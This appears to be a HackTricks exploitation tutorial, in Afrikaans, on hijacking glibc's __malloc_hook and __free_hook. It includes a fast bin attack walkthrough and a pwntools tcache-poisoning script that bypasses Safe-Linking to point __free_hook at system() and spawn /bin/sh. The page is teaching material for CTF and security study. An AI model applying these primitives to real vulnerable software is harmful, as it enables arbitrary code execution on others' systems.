WWW2Exec - __malloc_hook & __free_hook

Reading time: 7 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Malloc Hook

Soos jy kan Official GNU site sien, is die veranderlike __malloc_hook 'n wysser wat na die adres van 'n funksie wat aangeroep sal word wanneer malloc() aangeroep word gestoor in die dataseksie van die libc-biblioteek. Daarom, as hierdie adres oorgeskryf word met 'n One Gadget byvoorbeeld en malloc aangeroep word, sal die One Gadget aangeroep word.

Om malloc aan te roep, is dit moontlik om te wag vir die program om dit aan te roep of deur printf("%10000$c") aan te roep wat te veel bytes toewys, wat maak dat libc malloc aanroep om dit in die heap toe te wys.

Meer inligting oor One Gadget in:

One Gadget

warning

Let daarop dat hooks deaktiveer is vir GLIBC >= 2.34. Daar is ander tegnieke wat op moderne GLIBC weergawes gebruik kan word. Sien: https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md.

Free Hook

Dit is misbruik in een van die voorbeelde van die bladsy wat 'n vinnige bin-aanval misbruik het nadat 'n ongesorteerde bin-aanval misbruik is:

Unsorted Bin Attack

Dit is moontlik om die adres van __free_hook te vind as die binĂȘre simbole het met die volgende opdrag:

bash
gef➀  p &__free_hook

In the post kan jy 'n stap-vir-stap gids vind oor hoe om die adres van die free hook sonder simbole te lokaliseer. As opsomming, in die free funksie:

gef➀  x/20i free
0xf75dedc0 : push   ebx
0xf75dedc1 : call   0xf768f625
0xf75dedc6 : add    ebx,0x14323a
0xf75dedcc :  sub    esp,0x8
0xf75dedcf :  mov    eax,DWORD PTR [ebx-0x98]
0xf75dedd5 :  mov    ecx,DWORD PTR [esp+0x10]
0xf75dedd9 :  mov    eax,DWORD PTR [eax]--- BREAK HERE
0xf75deddb :  test   eax,eax ;<
0xf75deddd :  jne    0xf75dee50 

In die genoemde breekpunt in die vorige kode sal die adres van die free hook in $eax geleë wees.

Nou word 'n fast bin aanval uitgevoer:

  • Eerstens word daar ontdek dat dit moontlik is om met vinnige stukke van grootte 200 in die __free_hook ligging te werk:
  • gef➀  p &__free_hook
    

$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook> gef➀ x/60gx 0x7ff1e9e607a8 - 0x59 0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000

  • As ons daarin slaag om 'n vinnige stuk van grootte 0x200 in hierdie ligging te kry, sal dit moontlik wees om 'n funksie-aanwyser te oorskryf wat uitgevoer sal word.
  • Hiervoor word 'n nuwe stuk van grootte 0xfc geskep en die saamgevoegde funksie word twee keer met daardie aanwyser aangeroep, sodat ons 'n aanwyser na 'n vrygestelde stuk van grootte 0xfc*2 = 0x1f8 in die fast bin verkry.
  • Dan word die redigeerfunksie in hierdie stuk aangeroep om die fd adres van hierdie fast bin te wys na die vorige __free_hook funksie.
  • Dan word 'n stuk van grootte 0x1f8 geskep om die vorige nuttelose stuk uit die fast bin te verkry, sodat 'n ander stuk van grootte 0x1f8 geskep word om 'n fast bin stuk in die __free_hook te kry wat oorgeskryf word met die adres van die system funksie.
  • En uiteindelik word 'n stuk wat die string /bin/sh\x00 bevat, vrygestel deur die delete funksie aan te roep, wat die __free_hook funksie aktiveer wat na system met /bin/sh\x00 as parameter wys.

Tcache vergiftiging & Safe-Linking (glibc 2.32 – 2.33)

glibc 2.32 het Safe-Linking bekendgestel – 'n integriteitskontrole wat die enkele-gekoppelde lyste wat deur tcache en fast-bins gebruik word, beskerm. In plaas daarvan om 'n rou vorentoe-aanwyser (fd) te stoor, stoor ptmalloc dit nou obfuskeer met die volgende makro:

c
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr)       PROTECT_PTR(&ptr, ptr)

Gevolge van uitbuiting:

  1. 'n heap leak is verpligtend – die aanvaller moet die tydswaarde van chunk_addr >> 12 weet om 'n geldige obfuscated pointer te vervaardig.
  2. Slegs die volledige 8-byte pointer kan vervals word; enkel-byte gedeeltelike oorskrywings sal nie die toets slaag nie.

'n Minimale tcache-poisoning primitive wat __free_hook op glibc 2.32/2.33 oorskryf, lyk dus soos:

py
from pwn import *

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p    = process("./vuln")

# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
heap_leak   = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base   = heap_leak & ~0xfff
fd_key      = heap_base >> 12  # value used by PROTECT_PTR
log.success(f"heap @ {hex(heap_base)}")

# 2. Prepare two same-size chunks and double-free one of them
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a)           # tcache double-free ⇒ poisoning primitive

# 3. Forge obfuscated fd that points to __free_hook
free_hook = libc.sym['__free_hook']
poison    = free_hook ^ fd_key
edit(a, p64(poison))  # overwrite fd of tcache entry

# 4. Two mallocs: the second one returns a pointer to __free_hook
malloc(0x48)           # returns chunk a
c = malloc(0x48)       # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))

# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)

Die snit hierbo is aangepas van onlangse CTF-uitdagings soos UIUCTF 2024 – «Rusty Pointers» en openECSC 2023 – «Babyheap G», wat albei op Safe-Linking omseilings staatgemaak het om __free_hook te oorskry.


Wat het verander in glibc ≄ 2.34?

Begin met glibc 2.34 (Augustus 2021) is die toewysingshake __malloc_hook, __realloc_hook, __memalign_hook en __free_hook verwyder uit die openbare API en word nie meer deur die toewysing aangeroep nie. Kompatibiliteit simbole word steeds uitgevoer vir erfenis-binaries, maar om hulle te oorskry beĂŻnvloed nie meer die beheerstroom van malloc() of free() nie.

Praktiese implikasie: op moderne verspreidings (Ubuntu 22.04+, Fedora 35+, Debian 12, ens.) moet jy oorgaan na ander kaping primitiewe (IO-FILE, __run_exit_handlers, vtable spraying, ens.) omdat haak oorskrywings stilweg sal misluk.

As jy steeds die ou gedrag vir foutopsporing benodig, verskaf glibc libc_malloc_debug.so wat vooraf gelaai kan word om die erfenis haak te heraktiveer – maar die biblioteek is nie bedoel vir produksie nie en mag in toekomstige vrystellings verdwyn.


Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks